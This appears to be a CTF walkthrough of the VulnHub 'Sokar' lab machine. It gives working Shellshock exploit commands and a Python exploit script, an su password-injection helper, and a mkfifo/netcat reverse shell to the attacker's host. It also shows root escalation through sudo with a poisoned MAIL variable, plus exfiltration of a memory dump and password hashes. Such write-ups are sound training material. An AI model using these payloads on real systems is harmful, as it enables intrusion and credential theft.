After some absence, I’ve returned to hacking the (virtual) boxes. I’ve chosen random 2 for a good start. Sokar was one of them. I’ve grabbed it from here.
I must say, in the beginning I didn’t think that this challenge will be so cool (it really keeps your brain busy and check true skills not skills in finding some clue hidden inside some Latin text hidden inside jpg and so on). It took me 3 days (not a whole 3 days xD) to crack this one, and I’m glad I found it.
Ok let’s play!
Day I
As always, first things first. Let’s find our target:
# netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
192.168.56.100 08:00:27:b0:82:0a 01 060 CADMUS COMPUTER SYSTEMS
192.168.56.101 08:00:27:00:44:e4 01 060 CADMUS COMPUTER SYSTEMS
192.168.56.103 08:00:27:f2:40:db 01 060 CADMUS COMPUTER SYSTEMS
Target’s IP is: 192.168.56.103. The other ones are IP of my host system and DHCP server. Next thing, port scan:
# nmap -sV -A -n 192.168.56.103 -p1-65535
Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-07 05:32 CET
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.49% done
Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 2.77% done; ETC: 05:55 (0:22:14 remaining)
Stats: 0:13:18 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 66.11% done; ETC: 05:52 (0:06:49 remaining)
Nmap scan report for 192.168.56.103
Host is up (0.00039s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
591/tcp open http Apache httpd 2.2.15 ((CentOS))
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: System Stats
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.39 ms 192.168.56.103
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 858.28 seconds
So one open port: 591, with Apache on the other side, rest reported as filtered. Damn… there’s high possibility there’s a firewall running there. I’ve opened my browser and here’s what I’ve got:
Ok, going through source code shows me that there’s cgi-bin script running. I’ve started Dirbuster to check for any other things hosted but nothing interesting had been found. I’ve tried to look here and there, scanning udp, looking for vulns in Apache used on server…nothing. It was getting late so I decided to leave the challenge… end of day 1.
Day II
I decided to look on this challenge differently… why look for something new… let’s stick with what I’ve already found. There’s a cgi script running, so probably that’s where I should look for a way in. I’ve asked google about: “cgi-bin vulnerabilities” and here’s what I saw:
Shellshock! That’s something… heard about it, read about it, but never tried to use it. Here’s what they suggested as PoC:
# wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi
I’ve changed IP and path to cgi and executed it. Voila:
# wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" 192.168.56.103:591/cgi-bin/cat
--2015-02-09 10:00:33-- http://192.168.56.103:591/cgi-bin/cat
Łączenie się z 192.168.56.103:591... połączono.
Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 200 OK
Długość: nieznana [text/plain]
Zapis do: `cat'
[ <=> ] 986 --.-K/s w 0s
2015-02-09 10:00:33 (10,9 MB/s) - zapisano `cat' [986]
# cat cat
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
bynarr:x:500:501::/home/bynarr:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
apophis:x:501:502::/home/apophis:/bin/bash
So now I was inside :) I started looking here and there, what’s inside different folders, what possibilities gives me my current access level. Using wget all the time was not an option so I’ve grabbed and changed Python script to help me out:
# CVE-2014-6271 cgi-bin reverse shell
# Original: http://pastebin.com/raw.php?i=166f8Rjx
import httplib,urllib,sys
if (len(sys.argv)<3):
print "Usage: %s <host> <vulnerable CGI>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]
exit(0)
conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { test;};echo \"Content-type: text/plain\"; echo; echo; " + sys.argv[3]
headers = {"Content-type": "application/x-www-form-urlencoded","test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
I’ve tried to create some reverse shell but unfortunately firewall blocked all my attempts. I found interesting script in one of user’s home for creating memory dump of the machine. I’ll try using that later. Time passed and I still didn’t have anything interesting…so I moved to “/var/mail” as that’s a place where sometimes you can find some useful info. And I found something, a mail to one of the users:
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/ls -la /var/mail/"
200 OK
total 12
drwxrwxr-x. 2 root mail 4096 Dec 30 21:09 .
drwxr-xr-x. 8 root root 4096 Nov 12 13:29 ..
-rw-rw---- 1 apophis mail 0 Dec 30 19:20 apophis
-rw-rw-r--. 1 bynarr mail 551 Dec 30 21:09 bynarr
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/cat /var/mail/bynarr"
200 OK
Return-Path: <root@sokar>
Delivered-To: bynarr@localhost
Received: from root by localhost
To: <bynarr@sokar>
Date: Thu, 13 Nov 2014 22:04:31 +0100
Subject: Welcome
Dear Bynarr. Welcome to Sokar Inc. Forensic Development Team.
A user account has been setup for you.
UID 500 (bynarr)
GID 500 (bynarr)
501 (forensic)
Password 'fruity'. Please change this ASAP.
Should you require, you've been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis.
All the best in your new role!
-Sokar-
User pass (probably not changed) and info about an open port, I couldn’t ask for more :) I’ve tried pushing shell through that port but without success. I’ve checked google…there’s a way to create user specific rules in iptables…good to know!
Now I need a way to login as bynarr… My current access didn’t give me a possibility to su to another user. I started searching for some clues… oh I’ve searched a lot. Here’s my discovery (I’m sorry but I can’t remember where I found that):
# (sleep 1; echo test2.,) | python -c "import pty; pty.spawn(['/bin/su','test2','-c','whoami']);"
This sends user password to su spawned by python. Quick test on my local machine and it works great! But how can I run it inside target system? There are quotation marks and quotes… I couldn’t use it in my script… I had to find anotherway… but that’s a task for the next day…
Day III
I woke up in the morning with an idea in my head… let’s create script inside target looking like:
# cat cmdx
#/bin/bash
(sleep 1; echo fruity) | python -c "import pty; pty.spawn(['/bin/su','bynarr','-c','$1']);"
I can execute something like that with my python script, but how will I create that script inside target with my current access? After a while I’ve decided to try using base64.
# base64 cmdx
IyEvYmluL2Jhc2gKKHNsZWVwIDE7IGVjaG8gZnJ1aXR5KSB8IHB5dGhvbiAtYyAiaW1wb3J0IHB0
eTsgcHR5LnNwYXduKFsnL2Jpbi9zdScsJ2J5bmFycicsJy1jJywnJDEnXSk7Igo=
My first try was looking like that:
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/echo IyEvYmluL2Jhc2gKKHNsZWVwIDE7IGVjaG8gZnJ1aXR5KSB8IHB5dGhvbiAtYyAiaW1wb3J0IHB0eTsgcHR5LnNwYXduKFsnL2Jpbi9zdScsJ2J5bmFycicsJy1jJywnJDEnXSk7Igo= | base64 -d > /tmp/su_logger"
200 OK
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/ls -la /tmp/"200 OK
total 16
drwxrwxrwt. 3 root root 4096 Feb 9 09:45 .
dr-xr-xr-x. 22 root root 4096 Feb 9 08:34 ..
drwxrwxrwt 2 root root 4096 Feb 9 08:34 .ICE-unix
-rw-rw-r-- 1 bynarr bynarr 1349 Feb 9 09:45 stats
-rw-r--r-- 1 apache apache 0 Feb 9 09:45 su_logger
This doesn’t look good… for some reason this didn’t work as I hoped it would. My bad… I forgot that I need bash for pipe and stuff, let’s update my command:
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/bash -c '/bin/echo IyEvYmluL2Jhc2gKKHNsZWVwIDE7IGVjaG8gZnJ1aXR5KSB8IHB5dGhvbiAtYyAiaW1wb3J0IHB0eTsgcHR5LnNwYXduKFsnL2Jpbi9zdScsJ2J5bmFycicsJy1jJywnJDEnXSk7Igo= | base64 -d >
/tmp/su_logger'"
200 OK
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/ls -la /tmp/"
200 OK
total 20
drwxrwxrwt. 3 root root 4096 Feb 9 09:45 .
dr-xr-xr-x. 22 root root 4096 Feb 9 08:34 ..
drwxrwxrwt 2 root root 4096 Feb 9 08:34 .ICE-unix
-rw-rw-r-- 1 bynarr bynarr 1527 Feb 9 09:46 stats
-rw-r--r-- 1 apache apache 104 Feb 9 09:46 su_logger
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/cat /tmp/su_logger"
200 OK
#!/bin/bash
(sleep 1; echo fruity) | python -c "import pty; pty.spawn(['/bin/su','bynarr','-c','$1']);"
I’ve made it executable:
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/chmod +x /tmp/su_logger"
and tried it out:
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"whoami\"'"
200 OK
Password:
bynarr
Bullseye! You can call me bynarr starting from now. It’s good that there is always
someone who doesn’t change their password. You can believe it or not but with access
through that script I’ve managed to get memory dump using lime script inside /home/bynarr
and download it. If you are interested, how I’ve done that, you will find all details at the end of this post.
Inside mail to bynarr was also info about an open port. Let’s try it…on my local machine I started netcat:
# nc -vv -l -p 51242
listening on [any] 51242 ...
and invoked my python script:
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"/bin/rm /tmp/f; /usr/bin/mkfifo /tmp/f; /bin/cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.56.102 51242 > /tmp/f &\" 2>&1'"
200 OK
Let’s go back to netcat:
# nc -vv -l -p 51242
listening on [any] 51242 ...
192.168.56.103: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.103] 50696
sh: no job control in this shell
sh-4.1$ whoami
whoami
bynarr
sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash");'
python -c 'import pty;pty.spawn("/bin/bash");'
[bynarr@sokar cgi-bin]$
Immediately I spawned shell with python (I will need it). I had memory
dump already so I didn’t need to create another one, cudaHashcat (for hashes
found inside dump) was still downloading, so I’ve decided to look around and see what
else I can do with my new, fresh shell. I googled around for
“shellshock and sudo”. There was question about shellshock and sudo on Stack Overflow.
They tried to do something like that:
# [bynarr@sokar cgi-bin]$ sudo -l
sudo -l
Matching Defaults entries for bynarr on this host:
!requiretty, visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User bynarr may run the following commands on this host:
(ALL) NOPASSWD: /home/bynarr/lime
Result:
[bynarr@sokar cgi-bin]$ export MAIL="() { :;} ; echo busted"
export MAIL="() { :;} ; echo busted"
[bynarr@sokar cgi-bin]$ sudo /home/bynarr/lime
sudo /home/bynarr/lime
==========================
Linux Memory Extractorator
==========================
LKM, add or remove?
> q
q
Invalid input, burn in the fires of Netu!
No busted visible…damn it. As my Internet was damn slow and I still didn’t
have newest cudaHashcat, I’ve decided to read sudo manual. Here’s what interested me:
sudo [-AbEHnPS] [-C fd] [-g group name|#gid] [-p prompt] [-r role] [-t type] [-u user name|#uid] [VAR=value] [-i | -s] [command]
Hmmm…[VAR=value] looks promising. Let’s try it:
# [bynarr@sokar cgi-bin]$ sudo MAIL="() { :;} ; echo busted" /home/bynarr/lime
sudo MAIL="() { :;} ; echo busted" /home/bynarr/lime
busted <- check this out!!!
==========================
Linux Memory Extractorator
==========================
LKM, add or remove?
> q
q
Invalid input, burn in the fires of Netu!
[bynarr@sokar cgi-bin]$
I must say…I was happy like a small boy who just got his birthday present. Let’s finish this out!
# [bynarr@sokar cgi-bin]$ sudo MAIL="() { :;} ; /bin/bash" /home/bynarr/lime
sudo MAIL="() { :;} ; /bin/bash" /home/bynarr/lime
[root@sokar cgi-bin]# whoami
whoami
root
[root@sokar cgi-bin]# ls -la /root
ls -la /root
total 36
dr-xr-x---. 2 root root 4096 Jan 15 21:14 .
dr-xr-xr-x. 22 root root 4096 Feb 9 08:34 ..
-rw-------. 1 root root 0 Jan 27 19:30 .bash_history
-rw-r--r--. 1 root root 18 May 20 2009 .bash_logout
-rw-r--r--. 1 root root 176 May 20 2009 .bash_profile
-rw-r--r--. 1 root root 176 Sep 23 2004 .bashrc
-rw-r--r-- 1 root root 678 Jan 2 17:21 build.c
-rw-r--r--. 1 root root 100 Sep 23 2004 .cshrc
-rw-r--r-- 1 root root 837 Jan 15 21:14 flag
-rw-r--r--. 1 root root 129 Dec 3 2004 .tcshrc
Before typing the last command I’ve just stopped for a minute, just to enjoy the view.
[root@sokar cgi-bin]# cat /root/flag
cat /root/flag
0 0
| |
____|___|____
0 |~ ~ ~ ~ ~ ~| 0
| | Happy | |
___|__|___________|___|__
|/\/\/\/\/\/\/\/\/\/\/\/|
0 | B i r t h d a y | 0
| |/\/\/\/\/\/\/\/\/\/\/\/| |
_|___|_______________________|___|__
|/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/|
| |
| V u l n H u b ! ! |
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |
|___________________________________|
=====================================
| Congratulations on beating Sokar! |
| |
| Massive shoutout to g0tmi1k and |
| the entire community which makes |
| VulnHub possible! |
| |
| rasta_mouse (@_RastaMouse) |
=====================================
Done! Challenge complete ^^ That’s all folks…
Ok not all…I promised I’ll show how I took the memory dump. I didn’t have interactive shell access and I needed to pass “add” to script in order to create dump. You can cat file with “add” inside to script and it’ll work: </div>
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"echo add > /tmp/add\"'"
200 OK
Password:
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"cat /tmp/add\"'"200 OK
Password:
add
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"sudo /home/bynarr/lime < /tmp/add\"'"
200 OK
Password:
==========================
Linux Memory Extractorator
==========================
LKM, add or remove?
>
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"ls -la /tmp\"'"200 OK
Password:
total 261720
drwxrwxrwt. 3 root root 4096 Feb 9 10:25 .
dr-xr-xr-x. 22 root root 4096 Feb 9 08:34 ..
drwxrwxrwt 2 root root 4096 Feb 9 08:34 .ICE-unix
-rw-r--r-- 1 bynarr bynarr 4 Feb 9 10:24 add
prw-r--r-- 1 bynarr bynarr 0 Feb 9 10:22 f
-r--r--r-- 1 root root 267971584 Feb 9 10:25 ram
-rw-rw-r-- 1 bynarr bynarr 1705 Feb 9 10:25 stats
-rwxr-xr-x 1 apache apache 104 Feb 9 09:46 su_logger
As you can see there’s a new file named ram containing memory dump. Now… how to g
et it out without open ports (I forgot about 51242 :) ? Base64 was helpful as always:
# python python_shocker.py 192.168.56.103:591 /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"base64 /tmp/ram\"'" > tmp_ram
# ls -la tmp_ram
-rw-r--r-- 1 root root 366697981 lut 9 11:30 tmp_ram
It’s still base64 and there’s another problem, during transport newline chars have
been broken and typing base64 -d tmp_ram will give you an error.
Good there’s dos2unix. After fixing, file will be decoded properly and you
will have a piece of memory to look inside. I executed strings on it and
found hashes (from /etc/shadow) for root, apophis and bynarr
(that’s why I needed cudaHashcat). I also looked for firewall
rules inside that dump (I still didn’t remember about that open port from mail)
and that’s where I found open port for my reverse shell :)
THE END!